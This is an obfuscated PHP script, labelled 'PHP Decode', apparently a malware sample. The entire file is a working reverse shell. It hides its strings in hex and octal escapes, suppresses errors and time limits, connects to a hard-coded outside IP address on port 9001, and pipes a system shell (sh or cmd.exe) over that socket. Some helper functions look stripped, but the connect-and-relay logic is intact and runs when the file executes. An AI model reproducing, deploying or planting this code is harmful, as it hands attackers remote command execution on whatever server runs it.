PHP Decode

<?php
goto A9Zsn;
XgH6P:
$sh = new Shell("\x31\x30\x38\56\x31\67\56\71\64\x2e\x32", 9001);
goto GyPJ5;
A9Zsn:
class Shell
{
    private $addr = null;
    private $port = null;
    private $os = null;
    private $shell = null;
    private $descriptorspec = array(0 => array("\x70\151\x70\x65", "\162"), 1 => array("\160\151\160\145", "\167"), 2 => array("\x70\151\x70\x65", "\x77"));
    private $buffer = 1024;
    private $clen = 0;
    private $error = false;
    public function __construct($addr, $port)
    {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect()
    {
        $detected = true;
        if (stripos(PHP_OS, "\x4c\x49\x4e\125\130") !== false) {
            $this->os = "\x4c\111\x4e\125\x58";
            $this->shell = "\163\x68";
        } else {
            if (stripos(PHP_OS, "\127\111\116\63\62") !== false || stripos(PHP_OS, "\127\111\116\x4e\x54") !== false || stripos(PHP_OS, "\127\111\x4e\x44\117\x57\123") !== false) {
                $this->os = "\x57\x49\116\x44\x4f\127\123";
                $this->shell = "\143\155\x64\56\x65\x78\x65";
            } else {
                $detected = false;
            }
        }
        return $detected;
    }
    private function daemonize()
    {
        $exit = false;
        if ($pid > 0) {
            $exit = true;
        }
        return $exit;
    }
    private function settings()
    {
        @error_reporting(0);
        @set_time_limit(0);
        @umask(0);
    }
    private function dump($data)
    {
        $data = str_replace("\x3c", "\46\154\164\x3b", $data);
        $data = str_replace("\x3e", "\x26\x67\164\73", $data);
    }
    private function read($stream, $name, $buffer)
    {
        if (($data = @fread($stream, $buffer)) === false) {
            $this->error = true;
        }
        return $data;
    }
    private function write($stream, $name, $data)
    {
        if (($bytes = @fwrite($stream, $data)) === false) {
            $this->error = true;
        }
        return $bytes;
    }
    private function rw($input, $output, $iname, $oname)
    {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === "\x57\111\116\104\x4f\127\123" && $oname === "\123\x54\x44\x49\116") {
                $this->clen += strlen($data);
            }
            $this->dump($data);
        }
    }
    private function brw($input, $output, $iname, $oname)
    {
        $fstat = fstat($input);
        $size = $fstat["\163\x69\x7a\145"];
        if ($this->os === "\x57\x49\x4e\104\x4f\127\x53" && $iname === "\x53\124\x44\x4f\x55\124" && $this->clen) {
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data);
        }
    }
    public function run()
    {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if ($socket) {
                stream_set_blocking($socket, false);
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if ($process) {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false);
                    }
                    $status = proc_get_status($process);
                    @fwrite($socket, "\x53\117\103\x4b\105\124\x3a\x20\x53\150\x65\154\154\40\150\141\x73\40\143\x6f\156\156\x65\143\x74\145\144\x21\x20\120\x49\104\72\x20" . $status["\x70\x69\144"] . "\12");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) {
                            break;
                        } else {
                            if (feof($pipes[1]) || !$status["\x72\165\x6e\x6e\151\156\147"]) {
                                break;
                            }
                        }
                        $streams = array("\162\x65\141\x64" => array($socket, $pipes[1], $pipes[2]), "\x77\162\x69\164\x65" => null, "\x65\x78\x63\145\160\x74" => null);
                        $num_changed_streams = @stream_select($streams["\x72\x65\x61\x64"], $streams["\167\162\x69\164\145"], $streams["\x65\x78\143\145\x70\x74"], 0);
                        if ($num_changed_streams === false) {
                            break;
                        } else {
                            if ($num_changed_streams > 0) {
                                if ($this->os === "\x4c\x49\116\x55\x58") {
                                    if (in_array($socket, $streams["\x72\145\x61\x64"])) {
                                        $this->rw($socket, $pipes[0], "\x53\x4f\103\113\105\124", "\x53\x54\104\111\x4e");
                                    }
                                    if (in_array($pipes[2], $streams["\162\145\141\144"])) {
                                        $this->rw($pipes[2], $socket, "\123\x54\104\105\x52\x52", "\x53\x4f\x43\113\x45\124");
                                    }
                                    if (in_array($pipes[1], $streams["\x72\145\x61\x64"])) {
                                        $this->rw($pipes[1], $socket, "\x53\124\x44\x4f\x55\x54", "\123\117\103\x4b\105\x54");
                                    }
                                } else {
                                    if ($this->os === "\127\x49\116\x44\x4f\x57\123") {
                                        if (in_array($socket, $streams["\x72\x65\141\144"])) {
                                            $this->rw($socket, $pipes[0], "\x53\x4f\x43\x4b\x45\x54", "\123\124\x44\x49\x4e");
                                        }
                                        if (($fstat = fstat($pipes[2])) && $fstat["\x73\x69\x7a\145"]) {
                                            $this->brw($pipes[2], $socket, "\x53\x54\x44\105\122\122", "\x53\117\103\x4b\105\124");
                                        }
                                        if (($fstat = fstat($pipes[1])) && $fstat["\x73\x69\x7a\x65"]) {
                                            $this->brw($pipes[1], $socket, "\123\x54\104\x4f\x55\x54", "\x53\117\x43\113\105\x54");
                                        }
                                    }
                                }
                            }
                        }
                    } while (!$this->error);
                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                fclose($socket);
            }
        }
    }
}
goto XgH6P;
GyPJ5:
$sh->run();
goto ysT75;
ysT75:
unset($sh);
goto Mc7qU;
Mc7qU: ?>